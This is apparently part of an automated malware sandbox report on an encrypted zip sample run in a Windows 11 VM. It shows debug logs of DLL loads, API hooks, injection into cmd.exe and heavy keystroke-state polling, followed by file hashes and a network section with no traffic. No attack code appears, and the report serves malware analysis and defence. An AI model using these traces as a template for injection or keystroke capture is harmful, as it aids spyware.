2025-12-08 08:35:21,550 [root] DEBUG: 5720: DLL loaded at 0x74D40000: C:\Windows\system32\uxtheme (0x7f000 bytes).
2025-12-08 08:35:21,550 [root] DEBUG: 6460: DLL loaded at 0x75540000: C:\Windows\System32\bcryptPrimitives (0x62000 bytes).
2025-12-08 08:35:21,550 [root] DEBUG: 6460: DLL loaded at 0x6BA40000: C:\Windows\System32\srvcli (0x1d000 bytes).
2025-12-08 08:35:21,550 [root] DEBUG: 5720: DLL loaded at 0x76130000: C:\Windows\System32\clbcatq (0x82000 bytes).
2025-12-08 08:35:21,565 [root] DEBUG: 6460: DLL loaded at 0x6BA60000: C:\Windows\System32\urlmon (0x1a2000 bytes).
2025-12-08 08:35:21,565 [root] DEBUG: 6460: set_hooks_by_export_directory: Hooked 0 out of 613 functions
2025-12-08 08:35:21,565 [root] DEBUG: 6460: DLL loaded at 0x74F30000: C:\Windows\SYSTEM32\kernel.appcore (0x13000 bytes).
2025-12-08 08:35:21,580 [root] DEBUG: 6460: DLL loaded at 0x65900000: C:\Windows\System32\msIso (0x38000 bytes).
2025-12-08 08:35:21,596 [root] DEBUG: 6460: DLL loaded at 0x74D40000: C:\Windows\system32\uxtheme (0x7f000 bytes).
2025-12-08 08:35:21,596 [root] DEBUG: 5720: DLL loaded at 0x658D0000: C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\FileCoAuthLib (0x2b000 bytes).
2025-12-08 08:35:21,596 [root] DEBUG: 6460: DLL loaded at 0x76D20000: C:\Windows\System32\MSCTF (0xfc000 bytes).
2025-12-08 08:35:21,596 [root] DEBUG: 6768: DLL loaded at 0x658D0000: C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\FileCoAuthLib (0x2b000 bytes).
2025-12-08 08:35:21,612 [root] DEBUG: 6460: DLL loaded at 0x76130000: C:\Windows\System32\clbcatq (0x82000 bytes).
2025-12-08 08:35:21,612 [root] DEBUG: 5720: caller_dispatch: Added region at 0x680D0000 to tracked regions list (version::GetFileVersionInfoSizeW returns to 0x680EE94A, thread 5888).
2025-12-08 08:35:21,612 [root] DEBUG: 5720: ProcessTrackedRegion: Region at 0x680D0000 mapped as \Device\HarddiskVolume2\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\UpdateRingSettings.dll, skipping
2025-12-08 08:35:21,612 [root] DEBUG: 6460: InstrumentationCallback: Added region at 0x761F0000 to tracked regions list (thread 2652).
2025-12-08 08:35:21,628 [root] DEBUG: 6460: DLL loaded at 0x72DB0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.2506_none_6eb991c088050a06\comctl32 (0x228000 bytes).
2025-12-08 08:35:21,628 [root] DEBUG: 6460: DLL loaded at 0x658A0000: C:\Windows\System32\srpapi (0x29000 bytes).
2025-12-08 08:35:21,628 [root] DEBUG: 6460: DLL loaded at 0x758D0000: C:\Windows\System32\OLEAUT32 (0x9c000 bytes).
2025-12-08 08:35:21,643 [root] DEBUG: 6460: DLL loaded at 0x76330000: C:\Windows\System32\shell32 (0x697000 bytes).
2025-12-08 08:35:21,643 [root] DEBUG: 6460: DLL loaded at 0x6B590000: C:\Windows\System32\WININET (0x488000 bytes).
2025-12-08 08:35:21,643 [root] DEBUG: 6460: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:35:21,643 [root] DEBUG: 6460: DLL loaded at 0x74C50000: C:\Windows\SYSTEM32\wintypes (0xc7000 bytes).
2025-12-08 08:35:21,659 [root] DEBUG: 6460: DLL loaded at 0x74020000: C:\Windows\SYSTEM32\windows.storage (0x6ec000 bytes).
2025-12-08 08:35:21,659 [root] DEBUG: 6460: DLL loaded at 0x73A00000: C:\Windows\System32\profapi (0x1d000 bytes).
2025-12-08 08:35:21,675 [root] DEBUG: 6460: DLL loaded at 0x6A720000: C:\Windows\SYSTEM32\ondemandconnroutehelper (0x14000 bytes).
2025-12-08 08:35:21,675 [root] DEBUG: 6460: DLL loaded at 0x74F50000: C:\Windows\system32\mswsock (0x51000 bytes).
2025-12-08 08:35:21,675 [root] DEBUG: 6460: DLL loaded at 0x750C0000: C:\Windows\SYSTEM32\IPHLPAPI (0x24000 bytes).
2025-12-08 08:35:21,690 [root] DEBUG: 6460: DLL loaded at 0x75330000: C:\Windows\System32\NSI (0x7000 bytes).
2025-12-08 08:35:21,690 [root] DEBUG: 6460: DLL loaded at 0x72D40000: C:\Windows\SYSTEM32\WINNSI (0xa000 bytes).
2025-12-08 08:35:21,690 [root] DEBUG: 6460: DLL loaded at 0x750A0000: C:\Windows\SYSTEM32\dhcpcsvc6 (0x16000 bytes).
2025-12-08 08:35:21,690 [root] DEBUG: 6460: DLL loaded at 0x75080000: C:\Windows\SYSTEM32\dhcpcsvc (0x17000 bytes).
2025-12-08 08:35:21,737 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:21,940 [root] DEBUG: 6768: DLL loaded at 0x65840000: C:\Windows\System32\oleacc (0x54000 bytes).
2025-12-08 08:35:22,831 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:23,877 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:24,893 [root] DEBUG: 6460: DLL loaded at 0x657F0000: C:\Windows\SYSTEM32\WLDP (0x44000 bytes).
2025-12-08 08:35:24,909 [root] DEBUG: 6460: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:35:24,940 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:25,972 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:26,036 [root] DEBUG: 6768: DLL loaded at 0x65720000: C:\Windows\SYSTEM32\CoreMessaging (0xcd000 bytes).
2025-12-08 08:35:26,051 [root] DEBUG: 6768: DLL loaded at 0x65480000: C:\Windows\SYSTEM32\CoreUIComponents (0x291000 bytes).
2025-12-08 08:35:27,006 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:27,632 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2025-12-08.2235.5720.1.aodl
2025-12-08 08:35:27,632 [root] DEBUG: 5720: NtTerminateProcess hook: Attempting to dump process 5720
2025-12-08 08:35:27,632 [root] DEBUG: 5720: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:27,647 [root] INFO: Process with pid 5720 has terminated
2025-12-08 08:35:28,038 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:29,103 [root] DEBUG: 6460: DLL loaded at 0x74FB0000: C:\Windows\System32\VERSION (0x8000 bytes).
2025-12-08 08:35:29,103 [root] DEBUG: 6460: DLL loaded at 0x73E20000: C:\Windows\System32\USERENV (0x24000 bytes).
2025-12-08 08:35:29,103 [root] DEBUG: 6460: DLL loaded at 0x679B0000: C:\Windows\System32\ieframe (0x660000 bytes).
2025-12-08 08:35:29,119 [root] DEBUG: 6460: DLL loaded at 0x681E0000: C:\Windows\system32\msimtf (0xe000 bytes).
2025-12-08 08:35:29,134 [root] DEBUG: 6460: DLL loaded at 0x6A1E0000: C:\Windows\SYSTEM32\textinputframework (0xf9000 bytes).
2025-12-08 08:35:29,150 [root] DEBUG: 6460: DLL loaded at 0x68190000: C:\Windows\system32\dataexchange (0x4c000 bytes).
2025-12-08 08:35:29,165 [root] DEBUG: 6460: DLL loaded at 0x6BC10000: C:\Windows\system32\twinapi.appcore (0x1eb000 bytes).
2025-12-08 08:35:29,165 [root] DEBUG: 6460: DLL loaded at 0x73120000: C:\Windows\System32\dxgi (0xca000 bytes).
2025-12-08 08:35:29,181 [root] DEBUG: 6460: DLL loaded at 0x73980000: C:\Windows\SYSTEM32\dxcore (0x2d000 bytes).
2025-12-08 08:35:29,181 [root] DEBUG: 6460: DLL loaded at 0x68180000: C:\Windows\SYSTEM32\resourcepolicyclient (0x10000 bytes).
2025-12-08 08:35:29,181 [root] DEBUG: 6460: DLL loaded at 0x73940000: C:\Windows\SYSTEM32\directxdatabasehelper (0x3c000 bytes).
2025-12-08 08:35:29,181 [root] DEBUG: 6460: OpenProcessHandler: Image base for process 6760 (handle 0x668): 0x00990000.
2025-12-08 08:35:29,181 [root] DEBUG: 6460: OpenProcessHandler: Injection info created for process 6760, handle 0x668: C:\Windows\SysWOW64\cmd.exe
2025-12-08 08:35:29,197 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:30,228 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:31,275 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:31,900 [root] DEBUG: 6768: DLL loaded at 0x68110000: C:\Windows\System32\appresolver (0x80000 bytes).
2025-12-08 08:35:32,322 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:33,353 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:34,307 [root] DEBUG: 6768: DLL loaded at 0x68190000: C:\Windows\system32\dataexchange (0x4c000 bytes).
2025-12-08 08:35:34,323 [root] DEBUG: 6768: DLL loaded at 0x68080000: C:\Windows\SYSTEM32\sxs (0x85000 bytes).
2025-12-08 08:35:34,401 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:35,448 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:36,483 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:37,532 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:38,578 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:39,611 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:40,643 [root] DEBUG: 6460: DLL loaded at 0x68050000: C:\Windows\System32\msls31 (0x2c000 bytes).
2025-12-08 08:35:40,643 [root] DEBUG: 6460: DLL loaded at 0x71320000: C:\Windows\System32\d2d1 (0x51b000 bytes).
2025-12-08 08:35:40,659 [root] DEBUG: 6460: DLL loaded at 0x70EB0000: C:\Windows\System32\DWrite (0x224000 bytes).
2025-12-08 08:35:40,659 [root] DEBUG: 6460: DLL loaded at 0x710E0000: C:\Windows\System32\d3d11 (0x238000 bytes).
2025-12-08 08:35:40,659 [root] DEBUG: 6460: DLL loaded at 0x6C910000: C:\Windows\System32\d3d10warp (0x5f1000 bytes).
2025-12-08 08:35:40,721 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:41,753 [root] INFO: Announced starting service "b'WinHttpAutoProxySvc'"
2025-12-08 08:35:42,771 [root] DEBUG: 6460: AllocationHandler: Adding allocation to tracked region list: 0x7FCD0000, size: 0x1000.
2025-12-08 08:35:42,787 [root] DEBUG: 6460: AllocationHandler: Adding allocation to tracked region list: 0x7FCC1000, size: 0x1000.
2025-12-08 08:35:50,328 [root] DEBUG: 6768: api-cap: GetAsyncKeyState hook disabled due to count: 5000
| Name | Label | Manager | Started On | Shutdown On | Route |
|---|---|---|---|---|---|
| win11-64bit-tiny-3 | win11-64bit-tiny-3 | KVM | 2025-12-08 16:39:02 | 2025-12-08 16:43:09 | inetsim |
| File Name |
32e843c35f0b39a4ff9d.zip
|
|---|---|
| File Type | Zip archive data, at least v5.1 to extract, compression method=AES Encrypted |
| File Size | 100322 bytes |
| MD5 | 11ec5967b7b8746b7ff42e8057b77c0c |
| SHA1 | b5b09e801f42dbd96096dfdd410fde2a70be5ba2 |
| SHA256 | 37c72f104a2bbabd8326f738732a9f05934d39b415cb0870b125395ffe0f42f8 [VT] [MWDB] [Bazaar] |
| SHA3-384 | e55c13dd0a97877d9f7eb17d9663d970cd831c9c02a1a5e34c5b02f02436c7d96c7344103d7f6e4f80870965c49ed898 |
| CRC32 | 4A80A8D2 |
| TLSH | T182A3126C67E037EAEAE97A4633CFD3830B56C216464BE096243564C5784287F4EB4F29 |
| Ssdeep | 3072:TznDMt6NzqMP5Nv5SsXIo2fvrotxv8da3ZC29aGHybqsbt:TnMteFxNxSMIPSv8oXcGSbqMt |
| File Strings BinGraph Vba2Graph |
| Defense Evasion | Discovery | Command and Control | Privilege Escalation | Execution | Impact |
|
|
|
|---|
No hosts contacted.
No domains contacted.
No hosts contacted.
No TCP connections recorded.
No UDP connections recorded.
No domains contacted.
No HTTP(s) requests performed.
No SMTP traffic performed.
No IRC requests performed.
No ICMP traffic performed.
No CIF Results
No Suricata Alerts
No Suricata TLS
No Suricata HTTP